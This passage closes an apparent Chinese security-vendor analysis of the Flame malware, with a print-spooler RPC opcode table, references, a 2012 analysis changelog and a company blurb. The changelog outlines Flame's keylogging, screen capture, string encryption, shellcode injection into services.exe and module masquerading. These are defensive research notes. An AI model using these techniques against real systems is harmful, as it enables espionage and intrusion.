    RpcConfigurePort
        | 
    |
 
        | 
    0x27
        | 
    RpcDeletePort
        | 
    |
 
        | 
    0x28
        | 
    RpcCreatePrinterIC
        | 
     
        | 
  
 
        | 
    0x29
        | 
    RpcPlayGdiScriptOnPrinterIC
        | 
     
        | 
  
 
        | 
    0x2a
        | 
    RpcDeletePrinterIC
        | 
     
        | 
  
 
        | 
    0x2b
        | 
    RpcAddPrinterConnection
        | 
    |
 
        | 
    0x2c
        | 
    RpcDeletePrinterConnection
        | 
    |
 
        | 
    0x2d
        | 
    RpcPrinterMessageBox
        | 
     
        | 
  
 
        | 
    0x2e
        | 
    RpcAddMonitor
        | 
    |
 
        | 
    0x2f
        | 
    RpcDeleteMonitor
        | 
    |
 
        | 
    0x30
        | 
    RpcDeletePrintProcessor
        | 
    |
 
        | 
    0x31
        | 
    RpcAddPrintProvidor
        | 
    |
 
        | 
    0x32
        | 
    RpcDeletePrintProvidor
        | 
    |
 
        | 
    0x33
        | 
    RpcEnumPrintProcessorDatatypes
        | 
    |
 
        | 
    0x34
        | 
    RpcResetPrinter
        | 
    |
 
        | 
    0x35
        | 
    RpcGetPrinterDriver2
        | 
    |
 
        | 
    0x36
        | 
    RpcClientFindFirstPrinterChangeNotification
        | 
    |
 
        | 
    0x37
        | 
    RpcFindNextPrinterChangeNotification
        | 
    |
 
        | 
    0x38
        | 
    RpcFindClosePrinterChangeNotification
        | 
    |
 
        | 
    0x39
        | 
    RpcRouterFindFirstPrinterChangeNotificationOld
        | 
     
        | 
  
 
        | 
    0x3a
        | 
    RpcReplyOpenPrinter
        | 
     
        | 
  
 
        | 
    0x3b
        | 
    RpcRouterReplyPrinter
        | 
     
        | 
  
 
        | 
    0x3c
        | 
    RpcReplyClosePrinter
        | 
     
        | 
  
 
        | 
    0x3d
        | 
    RpcAddPortEx
        | 
     
        | 
  
 
        | 
    0x3e
        | 
    RpcRemoteFindFirstPrinterChangeNotification
        | 
     
        | 
  
 
        | 
    0x3f
        | 
    RpcSpoolerInit
        | 
     
        | 
  
 
        | 
    0x40
        | 
    RpcResetPrinterEx
        | 
     
        | 
  
 
        | 
    0x41
        | 
    RpcRemoteFindFirstPrinterChangeNotificationEx
        | 
     
        | 
  
 
        | 
    0x42
        | 
    RpcRouterReplyPrinterEx
        | 
     
        | 
  
 
        | 
    0x43
        | 
    RpcRouterRefreshPrinterChangeNotification
        | 
     
        | 
  
 
        | 
    0x44
        | 
    RpcSetAllocFailCount
        | 
     
        | 
  
 
        | 
    0x45
        | 
    RpcSplOpenPrinter
        | 
     
        | 
  
 
        | 
    0x46
        | 
    RpcAddPrinterEx
        | 
     
        | 
  
 
        | 
    0x47
        | 
    RpcSetPort
        | 
     
        | 
  
 
        | 
    0x48
        | 
    RpcEnumPrinterData
        | 
     
        | 
  
 
        | 
    0x49
        | 
    RpcDeletePrinterData
        | 
     
        | 
  
 
        | 
    0x4a
        | 
    RpcClusterSplOpen
        | 
     
        | 
  
 
        | 
    0x4b
        | 
    RpcClusterSplClose
        | 
     
        | 
  
 
        | 
    0x4c
        | 
    RpcClusterSplIsAlive
        | 
     
        | 
  
 
        | 
    0x4d
        | 
    RpcSetPrinterDataEx
        | 
     
        | 
  
 
        | 
    0x4e
        | 
    RpcGetPrinterDataEx
        | 
     
        | 
  
 
        | 
    0x4f
        | 
    RpcEnumPrinterDataEx
        | 
     
        | 
  
 
        | 
    0x50
        | 
    RpcEnumPrinterKey
        | 
     
        | 
  
 
        | 
    0x51
        | 
    RpcDeletePrinterDataEx
        | 
     
        | 
  
 
        | 
    0x52
        | 
    RpcDeletePrinterKey
        | 
     
        | 
  
 
        | 
    0x53
        | 
    RpcSeekPrinter
        | 
     
        | 
  
 
        | 
    0x54
        | 
    RpcDeletePrinterDriverEx
        | 
     
        | 
  
 
        | 
    0x55
        | 
    RpcAddPerMachineConnection
        | 
     
        | 
  
 
        | 
    0x56
        | 
    RpcDeletePerMachineConnection
        | 
     
        | 
  
 
        | 
    0x57
        | 
    RpcEnumPerMachineConnections
        | 
     
        | 
  
 
        | 
    0x58
        | 
    RpcXcvData
        | 
     
        | 
  
 
        | 
    0x59
        | 
    RpcAddPrinterDriverEx
        | 
     
        | 
  
 
        | 
    0x5a
        | 
    RpcSplOpenPrinter
        | 
     
        | 
  
 
        | 
    0x5b
        | 
    RpcGetSpoolFileInfo
        | 
     
        | 
  
 
        | 
    0x5c
        | 
    RpcCommitSpoolData
        | 
     
        | 
  
 
        | 
    0x5d
        | 
    RpcCloseSpoolFileHandle
        | 
     
        | 
  
 
        | 
    0x5e
        | 
    RpcFlushPrinter
        | 
    |
>
      Windows XP and Windows Server 2003
          | 
    0x5f
        | 
    RpcSendRecvBidiData
        | 
     
        | 
  
 
        | 
    0x60
        | 
    RpcAddDriverCatalog
        | 
     
        | 
  
>
      Windows Vista
          | 
    0x61
        | 
    RpcAddPrinterConnection2
        | 
     
        | 
  
 
        | 
    0x62
        | 
    RpcDeletePrinterConnection2
        | 
     
        | 
  
 
        | 
    0x63
        | 
    RpcInstallPrinterDriverFromPackage
        | 
     
        | 
  
 
        | 
    0x64
        | 
    RpcUploadPrinterDriverPackage
        | 
     
        | 
  
 
        | 
    0x65
        | 
    RpcGetCorePrinterDrivers
        | 
     
        | 
  
 
        | 
    0x66
        | 
    RpcCorePrinterDriverInstalled
        | 
     
        | 
  
 
        | 
    0x67
        | 
    RpcGetPrinterDriverPackagePath
        | 
     
        | 
  
 
        | 
    0x68
        | 
    RpcReportJobProcessingProgress
        | 
     
        | 
  
附录一:参考资料
http://www.wired.com/threatlevel/2011/07/how-digital-detectives-deciphered-stuxnet/all/
http://blogs.mcafee.com/uncategorized/skywiper-fanning-the-flames-of-cyber-warfare
http://www.securelist.com/en/blog/208193538/Flame_Bunny_Frog_Munch_and_BeetleJuice
http://technet.microsoft.com/en-us/library/cc963218.aspx
http://blog.crysys.hu/2012/06/analysis-of-flame-wusetupv-exe-url-parameters/
附录二:文档更新日志
更新日期
        | 
    更新版本
        | 
    更新内容
        | 
  
2012-5-31
                | 
    V1.1.0
                | 
    在拿到主模块后开始分析,简单分析了主模块的一些行为,并继续收集有关的样本。
        | 
  
2012-6-5
                | 
    V1.1.1
                | 
    针对主模块进行详细分析,并开始分析其它各模块。本次更新了Soapr32.ocx的分析。其中字符串采用了加密混淆的方式。
        | 
  
2012-6-8
                | 
    V1.1.2
                | 
    本次更新了对Msglu32.ocx的分析,此模块会查找系统中的一些文件类型。如:office各种格式文档(包括docx、xlsx、pptx等) 以及其它类型文件。主模块更新了部分内容。其中字符串加密和Soapr32.ocx很相似。
        | 
  
2012-6-11
                | 
    V1.1.3
                | 
    本次更新了对Nteps32.ocx的分析,此模块功能有键盘记录和截取屏幕信息,所记录的信息都是通过加密的。具体加密方式还在分析中。更新部分主模块的分析。
        | 
  
2012-6-15
                | 
    V1.1.4
                | 
    本次更新了对Advntcfg.ocx的分析,该模块的主要功能是截取屏幕信息和收集系统中的其它信息。其中字符串加密和Nteps32.ocx的加密是用的同一种方法,参数都是相同的。
        | 
  
2012-6-18
                | 
    V1.1.5
                | 
    对主模块的持续更新中,修正了部分其它模块的分析和内容。
        | 
  
2012-6-23
                | 
    V1.1.6
                | 
    对这前几个模块的字符串加密码进行了总结,和对主模块的部分内容更新,并收集其它模块。
        | 
  
2012-7-2
        | 
    V1.1.7
                | 
    本次更新修改了之前版本的几处问题,还有几处没有修改完明天应全部修改完。今天新增主模块部分分析、各模块字符串加密对照表,还有两个模块在分析中。
        | 
  
2012-7-4
                | 
    V1.1.8
        | 
    本次新增了文件功能表、所有衍生文件表和Browse32.ocx模块分析,修改了各模块字符串解密表。给出遍历进程列表中的文件说明。
        | 
  
2012-7-5
                | 
    V1.1.9
        | 
    新增Lua脚本调用函数列表107个,见附录6,其它模块还在分析中。
        | 
  
2012-7-6
                | 
    V1.2.0
        | 
    Flame 中发现Lua模块的静态编译版本和原始文模块内容相同,还新增了主模块部分新分析出来的内容。
        | 
  
2012-7-9
                | 
    V1.2.1
        | 
    在主模块中整理出来的Lua函数,还有一些没分析出来,还在分析中。在主模块中找出Lnk文件漏洞创建的Inf文件内容。多处加密码算法还在验证是什么算法。
        | 
  
2012-7-10
                | 
    V1.2.2
        | 
    更新证明Lua函数如何调用,Jimmy.dll模块在分析中,主模块多处加密码算法还在验证中。
        | 
  
2012-7-11
                | 
    V1.2.3
        | 
    更新Flame运行后整体过程,还有一些在整理。新加Jimmy.dll模块分析,确定了病毒中使用的Lua版本为5.1,而Lua 5.1版本发布的时间为2006年2月21日,这也证明了Flame的开发时间应为2006年2月21日之后。
        | 
  
2012-7-12
                | 
    V1.2.4
        | 
    发现Flame中的这些被包含在结构中的函数为Debug版,并对Lua中的Debug版进行了对照,结果是完全一样的。
        | 
  
2012-7-13
                | 
    V1.2.5
        | 
    在主模块中分析出来一些Lua用的函数,有近150个函数可见附录七。
        | 
  
2012-7-16
                | 
    V1.2.6
        | 
    Lua函数调用还在分析中,今天在内存中找到了一些类似像结构或是类东西,总共有4000多个。
        | 
  
2012-7-17
                | 
    V1.2.7
        | 
    把DES算法部分证实了,发现调用函数中有16处循环计算表达式,是DES加密算法的明显特征。计算出每个数值后,后面的异或操作也和DES算法的计算方式匹配。
        | 
  
2012-7-18
                | 
    V1.2.8
        | 
    主模块加载资源到内存,进行简单异或解密,首先传入DB DF AC A2 作为文件头,然后对资源逐字节解密。
        | 
  
2012-7-19
                | 
    V1.2.9
        | 
    经过对Flame调用Lua函数的分析总结发现Flame调用Lua脚本的方式。首先程序在初始化过程中在Lua环境内创建一些表,然后在这些表中保存Key,Value形式的键值对,后续通过获取指定的表,然后将表中指定的Key的值取出来,作为Lua代码执行。
        | 
  
2012-7-20
                | 
    V1.3.0
        | 
    Lua函数解密部分还在分析中,分析00004069.exe文件和Boot32drv.sys为同一文件,并在创建的一个服务中调用。其服务在创建完服务后直接将其启动,并加载一些文件后删除此服务。
        | 
  
2012-8-07
                | 
    V1.4.1
                | 
    分析发现加密字符串中存在有关虚拟打印机相关字符串, 和大量用作PDF转换的相关软件的名字,推测为判断本机是否安装此类软件,可能会利用这些软件进行转换操作。
       并且发现Flame通过RPC调用Windows后台处理程序,实现特定功能。
            | 
  
2012-8-08
                | 
    V1.4.2
                | 
    分析发现新的解密函数两个,其使用的解密算法与先前发现的一致,但是通过对这两个新发现的解密函数进行交叉索引可以解密大量之前未发现的字符串,待后续分析其加密字符串作用。
        | 
  
2012-8-09
                | 
    V1.4.3
                | 
    今天主要对Flame昨天解密出来的字符串及字符串的索引,使用进行分析,发现一些可能的推测。正在进行分析验证。
        | 
  
2012-8-10
                | 
    V1.4.4
                | 
    主要分析Flame中环境依赖部分,分析为什么在调试过程中程序无法完整运行。
        | 
  
2012-8-11
                | 
    V1.4.5
                | 
    今天因做用户C给的样本与Gauss对比分析,所以flame今天暂无进展。
        | 
  
2012-8-14
                | 
    V1.4.6
                | 
    今天对Fame注入到Services.exe进程中的Shell Code提取,并按注入顺序及相对位置进行合并,然后通过双机内核调试Shell Code.
               主要发现,Shell Code的主函数的参数为一个函数表,表中应为Shell Code后续功能需要的函数。
            | 
  
2012-8-15
                | 
    V1.4.7
                | 
    对Flame注入到Services.exe进程中的Shell Code进行分析发现,其将Mssecmgr.ocx模块伪装为Shell32.dll模块加载的实现方式。
        | 
  
2012-8-16
                | 
    V1.4.8
                | 
    今天因其它分析任务,所以Flame搁置一天。
        | 
  
2012-8-17
                | 
    V1.4.9
                | 
    今天对Caromspol32.ocx模块进行分析,分析中发现很多地方与Nteps32.ocx相同。如键盘记录和截取屏幕信息,监控的ULR地址等地方。
        | 
  
附录三:关于安天
    安天从反病毒引擎研发团队起步,目前已发展成为拥有四个研发中心、监控预警能力覆盖全国、产品与服务辐射多个国家的先进安全产品供应商。安天历经十五年持续积累,形成了海量安全威胁知识库,并综合应用网络检测、主机防御、未知威胁鉴定、大数据分析、安全可视化等方面经验,推出了应对持续、高级威胁(APT)的先进产品和解决方案。安天技术实力得到行业管理机构、客户和伙伴的认可,安天已连续四届蝉联国家级安全应急支撑单位资质,亦是CNNVD六家一级支撑单位之一。安天移动检测引擎是获得全球首个AV-TEST(2013)年度奖项的中国产品,全球超过十家以上的著名安全厂商都选择安天作为检测能力合作伙伴。
关于安天反病毒引擎更多信息请访问:  | 
        http://www.antiy.com(中文)  | 
      
关于安天反APT相关产品更多信息请访问:  | 
        
 微信扫描关注 安天  | 
    
  | 
  
